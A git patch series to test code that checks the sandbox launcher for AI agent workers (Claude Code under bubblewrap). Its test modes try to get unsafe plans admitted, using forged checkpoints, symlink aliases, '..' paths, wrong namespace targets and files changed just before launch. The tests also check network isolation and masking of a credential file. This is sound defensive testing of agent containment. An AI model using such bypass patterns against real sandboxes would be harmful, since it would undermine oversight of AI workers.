modes=["managed-ordinary-git-complete","managed-ordinary-git-wrong-view","managed-ordinary-git-wrong-source","managed-ordinary-git-stale","managed-ordinary-git-after-close","managed-ordinary-complete","managed-ordinary-stale","managed-ordinary-namespace","managed-ordinary-path","managed-ordinary-argument","managed-ordinary-write","managed-ordinary-write-before-launch","managed-candidate-complete","managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-write","managed-candidate-write-before-launch","managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; +for(const label of modes)test(`strict native product plan admission: ${label}`,async()=>{ + const ordinary=label.startsWith("managed-ordinary-"),mode=ordinary?label.replace("managed-ordinary-","managed-candidate-"):label; const root=mkdtempSync("/tmp/odysseus-strict-admission-"); try{ const file=join(root,"proof.ts");writeFileSync(file,` @@ -42,18 +43,17 @@ const treeParent=join(root,".brain-native/trees/00000000-0000-4000-8000-00000000 const server=Bun.serve({port:0,fetch(){return new Response(null,{status:400});}});const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); let invoke;const wrapped=nativeScriptedQuery(params=>{invoke=params.options.spawnClaudeCodeProcess;return {};},server.url.origin); const originalSpawn=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options));Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(originalSpawn,Bun,[argv,options]));process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; -let plan,output,undeclare,otherView,inheritedLeave;try{ +let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ if(mode==="tree-declare-parent")tree.root=join(root,".brain-native"); if(mode==="tree-swapped"){[tree.root,tree.index]=[tree.index,tree.root];} if(mode==="tree-alias"){fs.symlinkSync(tree.root,tree.root+"-alias");tree.root+="-alias";} if(mode==="tree-outside")tree.index=brain; - if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||(mode==="managed-complete"||mode==="managed-snapshot-reuse")))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); + if(!mode.startsWith("checkpoint-")&&(!mode.startsWith("managed-")||(mode==="managed-complete"||mode==="managed-snapshot-reuse"||mode.startsWith("managed-candidate-"))))undeclare=nativeFixtureTurnDataTree(server.url.origin,mode==="tree-wrong-brain"?root:brain,view,tree); if(mode==="tree-replaced"){fs.renameSync(tree.index,tree.index+"-old");fs.mkdirSync(tree.index);} if(mode==="tree-released")undeclare(); if(mode==="tree-inherited-released"){inheritedLeave=nativeScriptedService(server.url.origin);undeclare();} const runtime=bundledClaudeBinary(); // Exercise a registered fixture keeper through the actual production nsenter plan. - let storage,unregister; if(mode.startsWith("managed-")){ const mount=join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222");fs.mkdirSync(mount,{recursive:true}); const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces" && printf %s "$$" > "$2.tmp" && mv -- "$2.tmp" "$2" && exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; @@ -78,8 +78,9 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ const authority={version:1,kind:"brain-worker-stage",id:mount.split('/').at(-1),appUid:uid,appGid:process.getgid(),keeper:{pid:storage.namespacePid,start:storage.namespaceStart,mountNamespaceInode:String(ns.ino)},root:{path:join(mount,"merged"),dev:String(merged.dev),ino:String(merged.ino)},checkpoint:{path:view.root,dev:String(checkpoint.dev),ino:String(checkpoint.ino),uuid:"b".repeat(32)},allowanceBytes:1024*1024}; fs.writeFileSync(ticketFile,JSON.stringify(authority));const ticketFd=fs.openSync(ticketFile,'r');storage.allowanceBytes=authority.allowanceBytes; const originalFstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=originalFstat(fd,...args);return fd===ticketFd?{...info,uid:mode==="managed-ticket-owner"?1:0,nlink:0,mode:0o100444,isFile:()=>true}:info;}); - spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:uid}); - const metadata=path=>{const info=fs.lstatSync(join(storage.root,"merged",path));return {path,kind:info.isDirectory()?"directory":info.isFile()?"file":"other",mode:info.mode&0o777,bytes:info.size,stamp:String(info.ino)+":"+String(info.mtimeMs),inode:String(info.ino)};}; + spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue(${JSON.stringify(ordinary)}?undefined:{identity:"separate_uid",workerUid:uid}); + if(mode.startsWith("managed-candidate-"))fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Ithaca"); + const metadata=path=>{const info=fs.lstatSync(join(storage.root,"merged",path),{bigint:true});return {path,kind:info.isDirectory()?"directory":info.isFile()?"file":"other",mode:Number(info.mode&0o777n),bytes:Number(info.size),stamp:String(info.ino)+":"+String(info.size)+":"+String(info.mtimeNs)+":"+String(info.ctimeNs),inode:String(info.ino)};}; manager.attestStage=async()=>({fd:ticketFd,close(){try{fs.closeSync(ticketFd);}catch{}}}); manager.listStage=async(id,path)=>fs.readdirSync(join(storage.root,"merged",path)).map(name=>metadata(path?path+'/'+name:name));manager.statStage=async(id,path)=>metadata(path); manager.readStage=async(id,path,maximum,workerUid)=>{const bytes=fs.readFileSync(join(storage.root,"merged",path));return {workerUid,stream:new ReadableStream({start(c){c.enqueue(bytes);c.close();}}),completed:Promise.resolve({bytes:bytes.length,workerUid})};}; @@ -93,8 +94,8 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ } const launch={brainPath:brain,startupView:view,areaOutput:output.output,command:[runtime],env:{PATH:"/usr/local/bin:/usr/bin:/bin"},sandbox:{brain,restricted:false,profile:"strict",areas:[{name:"workspaces",rel:"workspaces",mount:{path:join(brain,"workspaces"),writable:true}}],scratchAliasesRemoved:[],dataTree:tree}}; if(mode==="forged"){const forged=join(root,".brain-native/checkpoints/11111111-1111-4111-8111-111111111111");fs.mkdirSync(forged);launch.startupView={...view,root:forged};} - if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")delete launch.sandbox.dataTree; - if(mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")delete launch.startupView; + if(mode.startsWith("checkpoint-")||mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&!mode.startsWith("managed-candidate-"))delete launch.sandbox.dataTree; + if(mode.startsWith("managed-")&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&!mode.startsWith("managed-candidate-"))delete launch.startupView; if(mode==="released"||mode==="checkpoint-released")await view.cleanup(); if(mode==="alias"){fs.symlinkSync(view.root,view.root+"-alias");launch.startupView={...view,root:view.root+"-alias"};} if(mode==="dotdot")launch.startupView={...view,root:view.root+"/../"+view.root.split("/").at(-1)}; @@ -104,14 +105,40 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ if(mode==="wrong-target")argv[at+2]="/tmp/odysseus-other-brain"; if(mode==="duplicate")argv.splice(at,0,...argv.slice(at,at+3)); if(mode==="tree-parent"){argv=["bwrap","--ro-bind",join(root,".brain-native"),"/tmp/odysseus-undeclared-parent","--",runtime];delete launch.startupView;delete launch.areaOutput;} + if(mode.startsWith("managed-candidate-")){ + const {WORKER_FILESYSTEM_FILTER_PROGRAM}=await import(${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))}); + argv=["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,...argv]; + let candidate=join(storage.mount,"merged"); + if(mode.startsWith("managed-candidate-git-")){ + const {registerNativeFixtureMaintenanceGit}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); + const source=join(storage.root,"git-adapter");fs.mkdirSync(source);fs.writeFileSync(join(source,"config.json"),"{}"); + registerNativeFixtureMaintenanceGit(storage,mode==="managed-candidate-git-wrong-view"?{...view}:view,{source:mode==="managed-candidate-git-wrong-source"?join(storage.root,"upper"):source,target:"/tmp/brain-maintenance-git"}); + candidate=join(storage.mount,"git-adapter"); + if(mode==="managed-candidate-git-stale")fs.writeFileSync(join(source,"config.json"),"[]"); + if(mode==="managed-candidate-git-after-close")unregister(); + } + fs.mkdirSync(candidate,{recursive:true});fs.chmodSync(storage.mount,0o000); + const probe=[...argv.slice(0,13),"--ro-bind",candidate,"/tmp/brain-maintenance-output","--","/usr/bin/true"]; + if(mode==="managed-candidate-stale")unregister(); + if(mode==="managed-candidate-namespace")probe[probe.indexOf("--target")+1]=String(process.pid); + if(mode==="managed-candidate-path")probe[14]=candidate+"-other"; + if(mode==="managed-candidate-argument")probe.splice(probe.indexOf("--target"),0,"--mount"); + if(mode==="managed-candidate-write")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); + const {isNativeClaude}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); + if(isNativeClaude(probe[0],probe.slice(1)))throw Error("HARMLESS_MANAGED_CHAIN_MUST_NOT_BECOME_NATIVE"); + if(!["managed-candidate-complete","managed-candidate-write-before-launch","managed-candidate-git-complete"].includes(mode))throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + if(!isNativeClaude(runtime))throw Error("SELECTED_NATIVE_MUST_STILL_BE_DETECTED"); + fs.chmodSync(storage.mount,0o700); + } launch.argv=argv; // The SDK spawn-hook adapter must preserve the current held tree scope. wrapped({options:{spawnClaudeCodeProcess(){plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(launch)});return {};}}});invoke({}); if(mode==="release-before-launch"||mode==="checkpoint-released-before-launch"||mode==="managed-owner-before-launch")await view.cleanup(); if(mode==="managed-fd-before-launch"){const fd=Number(storage.root.split("/").at(-1));fs.closeSync(fd);const replacement=fs.openSync(brain,"r");if(replacement!==fd)throw Error("DESCRIPTOR_REUSE_REQUIRED");} if(mode==="managed-ticket-before-launch")fs.writeFileSync(join(root,"manager-stage-authority"),"changed"); + if(mode==="managed-candidate-write-before-launch")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); plan.beforeLaunch(); - if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&mode!=="managed-candidate-complete"&&mode!=="managed-candidate-git-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; if(!guarded.includes("--unshare-net")||!guarded.some((v,i)=>v==="--dev"&&guarded[i+1]==="/dev")||!guarded.includes("/run/brain-egress/proxy.sock")||!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+1]==="/dev/null"&&guarded[i+2]===join(brain,".env")))throw Error("STRICT_DEVICES_AND_PINNED_TRANSPORT_MISSING"); // Metadata-only audit completion: no installed runtime is executed in this proof. @@ -122,11 +149,11 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); } console.log("STRICT_PLAN_ALL_BINDS_ADMITTED"); -}finally{plan?.dispose();output?.cleanup();inheritedLeave?.();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} +}finally{if(mode.startsWith("managed-candidate-")&&storage)try{fs.chmodSync(storage.mount,0o700);}catch{}plan?.dispose();output?.cleanup();inheritedLeave?.();undeclare?.();leave();server.stop(true);await view.cleanup();await otherView?.cleanup();} `); const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; - if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} - else{expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} - }finally{rmSync(root,{recursive:true,force:true});} + if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"||mode==="managed-candidate-complete"||mode==="managed-candidate-git-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} + else{if(["managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument"].includes(mode))expect(receipts,"UNATTESTED_PRIVATE_DIRECTORY_CANNOT_SKIP_METADATA").toContain("native executable metadata is unavailable");expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper|ordinary managed fixture Git|native executable metadata is unavailable/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} + }finally{if(mode.startsWith("managed-candidate-"))try{chmodSync(join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222"),0o700);}catch{}rmSync(root,{recursive:true,force:true});} }); From 37f4282f3784e8b78db6228bb37e568029755638 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 22:36:51 +0000 Subject: [PATCH 125/187] test: declare the Pi fixture service URL without its provider label --- scripts/native-proof/hosted-app-child.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 3fa0a819c9..9338229c8a 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -201,7 +201,7 @@ const inference = selectedBackend === "pi" ? startPiNativeInference(join(dir!,"p // Keep the real managed allocator and its result. Its private sources are // inspectable only through the live manager ticket, until output cleanup. const {nativeScriptedService,registerNativeFixtureManagedKeeper,registerNativeFixtureMaintenanceGit}=await import("../test-native-guard.ts"); -const leaveFixtureAuthority=nativeScriptedService(inference?.origin??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); +const leaveFixtureAuthority=nativeScriptedService(inference?.origin.replace(/^anthropic=/,"")??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); const nativeOutput=await import(join(source!,"packages/ui-sdk/src/server/worker-native-output.ts")); const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(...args:any[])=>{ From 393584a0c7f43abdbe40429f972b9419e85acdea Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 23:11:09 +0000 Subject: [PATCH 126/187] fix(test): preserve declared area and credential hand-off roles --- .../tests/fixtures/ordinary-identity-root.ts | 5 ++- .../tests/fixtures/ordinary-identity-ws.ts | 2 +- .../fixtures/scratch-mask-identity-ws.ts | 4 +- scripts/native-proof/hosted-app-child.ts | 12 ++++- .../native-proof/identity-manager.native.ts | 3 ++ scripts/native-proof/reference-pool.native.ts | 2 + scripts/native-proof/uid-handoff.native.ts | 41 +++++++++++++++++ scripts/test-native-guard.ts | 44 ++++++++++++++++--- tests/helpers/native-managed-proof.ts | 26 +++++++++++ tests/native-managed-inspection.test.ts | 2 +- tests/native-strict-admission.test.ts | 15 ++++--- 11 files changed, 138 insertions(+), 18 deletions(-) create mode 100644 scripts/native-proof/uid-handoff.native.ts create mode 100644 tests/helpers/native-managed-proof.ts diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index cd96781ceb..0b9c2c12cd 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,3 +1,4 @@ +import {withNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { writePrivateProofArtifact } from "./private-proof-artifact.js"; import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; @@ -27,7 +28,7 @@ function command(argv: string[]) { expect(child.exitCode, child.stderr.toString()).toBe(0); return child.stdout.toString(); } if (process.argv[2] === "--index-child") { - await import("../maintenance-index-refusals.native.js"); + await withNativeProofStages(brain,()=>import("../maintenance-index-refusals.native.js")); } else if (process.argv[2] === "--child") { expect(process.getuid!()).toBe(21001); const childStarted = performance.now(); @@ -93,6 +94,7 @@ if (process.argv[2] === "--index-child") { await import("../restricted-relay-qualification.native.js"); } childStage("identity-probe:done"); + await withNativeProofStages(brain,async()=>{ if (!sharedGit && (!defaultPhase || defaultPhase === "controls")) await import("../private-publication-transition.native.js"); if (defaultPhase === "controls") { const { captureMaintenanceStage } = await import("../maintenance-stage-provenance.native.js"); @@ -113,6 +115,7 @@ if (process.argv[2] === "--index-child") { await captureMaintenanceStage(brain); } } + }); if (sharedPhase === "fresh-app") await import("./ordinary-identity-ws.js" + "?shared-git=1&app-only=1"); if ((!sharedPhase || sharedPhase === "fresh") && (!defaultPhase || defaultPhase === "fresh")) await import("./ordinary-identity-ws.js" + (sharedGit ? "?shared-git=1" : "")); if ((!sharedPhase || sharedPhase === "warm") && (!defaultPhase || defaultPhase === "warm")) await import("./ordinary-identity-ws.js" + (sharedGit ? "?profile=governed&warm=1&shared-git=1" + (dbRepeat ? "&app-only=1" : "") : "?profile=governed&warm=1")); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index f6785df774..9c00989c72 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -91,7 +91,7 @@ const turnKeeperRegistrations=new AsyncLocalStoragevoid>>(); const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(brain,options)=>{ const output=await prepareNativeOutput(brain,options),registrations=turnKeeperRegistrations.getStore(); - if(registrations)try{registrations.add(await registerNativeFixtureManagedKeeper(output.output.storage,options.startupView));}catch(error){await output.cleanup();throw error;} + if(registrations)try{registrations.add(await registerNativeFixtureManagedKeeper(output.output.storage,options.startupView,options.areas??[]));}catch(error){await output.cleanup();throw error;} return output; }); const backendProfiles: Array = []; diff --git a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts index 85ef1f8569..24ed050eca 100644 --- a/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/scratch-mask-identity-ws.ts @@ -1,3 +1,4 @@ +import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; import {nativeScriptedService} from "../../../../scripts/test-native-guard.ts"; @@ -41,6 +42,7 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request return nativeModelReply(); } }); nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, home], fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-fictional-api-key"} }); +const releaseFixtureStages=observeNativeProofStages(); const backend = createClaudeBackend({ brainPath: brain, profiles: [{ id: "odysseus-haiku", label: "Odysseus Haiku", billing: "api", requiredEnvKeys: [], model: "claude-haiku-4-5", buildEnv: () => ({ ANTHROPIC_BASE_URL: provider.url.origin, ANTHROPIC_API_KEY: "odysseus-fictional-api-key", HOME: home, CLAUDE_CONFIG_DIR: config, PATH: "/usr/local/bin:/usr/bin:/bin", @@ -194,4 +196,4 @@ try { console.log(JSON.stringify({ actualMaintenanceFinalDiagnostics: observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")).map(log => ({ body: log.body, attributes: log.attributes })) })); if (sharedGit) expect(observability.logs.records().filter(log => String(log.body).includes("version probe failed") || String(log.body).includes("scratch prune failed")), "SHARED_GIT_FRESH_WARM_CLI_SCRATCH_DIAGNOSTICS_CLEAN").toEqual([]); - } finally { try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } + } finally { releaseFixtureStages();try { dbObservation?.restore(); } finally { try { ownedBootPrune?.restore(); } finally { Object.defineProperty(Bun, "spawn", spawnDescriptor); } } } } diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 9338229c8a..63b7cb392f 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -201,13 +201,21 @@ const inference = selectedBackend === "pi" ? startPiNativeInference(join(dir!,"p // Keep the real managed allocator and its result. Its private sources are // inspectable only through the live manager ticket, until output cleanup. const {nativeScriptedService,registerNativeFixtureManagedKeeper,registerNativeFixtureMaintenanceGit}=await import("../test-native-guard.ts"); +// This host-owned product proxy predates the native fixture declaration. Keep +// its ordinary dispatch context, as for the independent host-web fixture. +const hostNetworkScope=AsyncLocalStorage.snapshot(); +const egressProxy=await import(join(source!,"packages/ui-sdk/src/server/egress-proxy.ts")); +const startEgressProxy=egressProxy.startEgressProxy; +spyOn(egressProxy,"startEgressProxy").mockImplementation((...args:any[])=>hostNetworkScope(()=>startEgressProxy(...args))); const leaveFixtureAuthority=nativeScriptedService(inference?.origin.replace(/^anthropic=/,"")??egressOrigin.url.origin,{fixtureRoots:[brain!,dir!]}); const nativeOutput=await import(join(source!,"packages/ui-sdk/src/server/worker-native-output.ts")); const prepareNativeOutput=nativeOutput.prepareNativeWorkerOutput; spyOn(nativeOutput,"prepareNativeWorkerOutput").mockImplementation(async(...args:any[])=>{ const output=await prepareNativeOutput(...args);let release:()=>void; - try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view);}catch(error){await output.cleanup();throw error;} - return {...output,async cleanup(){try{await output.cleanup();}finally{release();}}}; + try{release=await registerNativeFixtureManagedKeeper(output.output.storage,output.view,args[1].areas??[]);}catch(error){await output.cleanup();throw error;} + const cleanup=output.cleanup.bind(output);let closing:Promise|undefined; + output.cleanup=()=>closing??=(async()=>{try{await cleanup();}finally{release();}})(); + return output; }); const maintenanceGit=await import(join(source!,"packages/ui-server/src/brain/maintenance-git.ts")); const prepareMaintenanceGit=maintenanceGit.prepareMaintenanceGit; diff --git a/scripts/native-proof/identity-manager.native.ts b/scripts/native-proof/identity-manager.native.ts index e8f5df2bf9..9615ef2ab3 100644 --- a/scripts/native-proof/identity-manager.native.ts +++ b/scripts/native-proof/identity-manager.native.ts @@ -1,3 +1,4 @@ +import {withNativeProofStages} from "../../tests/helpers/native-managed-proof"; /** Real owned Btrfs manager, separate-UID launch and private journal recovery. */ import { expect } from "bun:test"; import { chmodSync, chownSync, constants, mkdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; @@ -26,6 +27,7 @@ function command(argv: string[]): string { } if (process.argv[2] === "--child") { + await withNativeProofStages(brain,async()=>{ expect(process.getuid?.()).toBe(21001); const manager = createNativeBrainManagerClient({ socketPath }); const view = await prepareNativeWorkerStartupView(brain, manager); @@ -139,6 +141,7 @@ os.chmod(${JSON.stringify(join(brain, "opaque"))},0)`] }); } finally { await capture.close(); objects.close(); db.close(); } console.log(JSON.stringify({ nativeIdentityManager: "pass", stage: "root-sealed-ticket", recovery: "private-checkpoint-and-unreadable-metadata" })); } finally { await view.cleanup(); } + }); } else { expect(process.getuid?.()).toBe(0); mkdirSync(join(brain, "notes")); mkdirSync(join(brain, ".brain/scratch"), { recursive: true, mode: 0o2770 }); diff --git a/scripts/native-proof/reference-pool.native.ts b/scripts/native-proof/reference-pool.native.ts index e2aa9d0238..9e623ba360 100644 --- a/scripts/native-proof/reference-pool.native.ts +++ b/scripts/native-proof/reference-pool.native.ts @@ -1,3 +1,4 @@ +import {verifyNativeUidHandoffs} from "./uid-handoff.native"; import { watchdogMs } from "../test-deadlines"; /** Real reference-pool qualification on owned Btrfs loop volumes (#2428). Runs only inside reference-pool-fixture.py. */ import { expect, spyOn } from "bun:test"; @@ -37,6 +38,7 @@ const config: NativeBrainManagerConfig = { referencePool: { storePath: POOL, devicePath: "/dev/brain-pool-loop", fsid: fsid(POOL), combinedLimitBytes: 256 * MIB, operationLimitBytes: 32 * MIB, emergencyBytes: 4 * MIB, physicalFloorBytes: 64 * MIB, headroomLedgerPath: LEDGER, maxIdentities: 256 }, }; +await verifyNativeUidHandoffs(); type Manager = Awaited>; let manager: Manager = await createNativeBrainManager(config); async function call(request: Record): Promise { diff --git a/scripts/native-proof/uid-handoff.native.ts b/scripts/native-proof/uid-handoff.native.ts new file mode 100644 index 0000000000..fba3d0e40c --- /dev/null +++ b/scripts/native-proof/uid-handoff.native.ts @@ -0,0 +1,41 @@ +/** Root-container proof of the product's two fixed credential hand-offs. */ +import {expect} from "bun:test"; +import {join} from "node:path"; +import {nativeProductUidHandoffs} from "../test-native-guard"; +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; +import {spawnGuardFixture} from "../../tests/helpers/native-receipt-fixture"; +import {watchdogMs} from "../test-deadlines"; + +export async function verifyNativeUidHandoffs():Promise { + const guard=join(import.meta.dir,"../test-native-guard.ts"),quote=(text:string)=>"'"+text.replaceAll("'","'\\''")+"'"; + const program='import os,json,errno\ns=open("/proc/self/status").read().splitlines()\ncaps={k:spl[1].strip() for line in s for spl in [line.split(":",1)] for k in [spl[0]] if k in ["CapEff","CapPrm","CapAmb"]}\ntry: os.open("/reference-pool/roots",os.O_RDONLY); result="UNSAFE_POOL_VISIBLE"\nexcept OSError as e: result=errno.errorcode[e.errno]\nprint(json.dumps({"uid":os.getuid(),"gid":os.getgid(),"groups":os.getgroups(),"caps":caps,"pool":result},sort_keys=True))'; + const harmless="exec /usr/bin/python3 -I -S -c "+quote(program); + for(const prefix of nativeProductUidHandoffs()){ + const envelope=["bwrap","--ro-bind","/","/","--tmpfs","/reference-pool","--tmpfs","/tmp","--proc","/proc","--dev","/dev","--unshare-pid","--die-with-parent","--",...prefix,harmless]; + const baseline=Bun.spawn(["/usr/bin/python3","-I","-S","-c",'import json,subprocess,sys\nr=subprocess.run(json.loads(sys.argv[1]),capture_output=True,text=True)\nprint(json.dumps({"code":r.returncode,"out":r.stdout,"err":r.stderr}))',JSON.stringify(envelope)],{stdout:"pipe",stderr:"pipe"}); + const [baselineCode,baselineOut,baselineErr]=await Promise.all([baseline.exited,new Response(baseline.stdout).text(),new Response(baseline.stderr).text()]);expect(baselineCode,baselineErr).toBe(0); + const main=JSON.parse(baselineOut) as {code:number;out:string;err:string};expect(main.code,main.err).toBe(0); + const expected=JSON.parse(main.out) as {uid:number;gid:number;groups:number[];caps:Record;pool:string};expect(expected.uid).toBe(1001);expect(expected.gid).toBe(1000);expect(expected.groups).toEqual(prefix[3]==="--groups=0"?[0]:[]);expect(expected.pool,"PRODUCT_POOL_MASK_RETURNS_ENOENT").toBe("ENOENT"); + for(const value of Object.values(expected.caps))expect(value,"MAIN_HANDOFF_HAS_NO_CAPABILITIES").toMatch(/^0+$/); + for(const mode of ["parity","stub","one-byte"] as const){ + const argv=[...envelope]; + if(mode==="one-byte")argv[argv.indexOf("--reuid=1001")]="--reuid=1002"; + if(mode==="stub")argv[argv.length-1]='target=$(printf %s '+quote(Buffer.from(bundledClaudeBinary()!).toString("base64"))+' | base64 -d); exec "$target" --version'; + const code=`import {nativeUnknownBoundary} from ${JSON.stringify(guard)};const 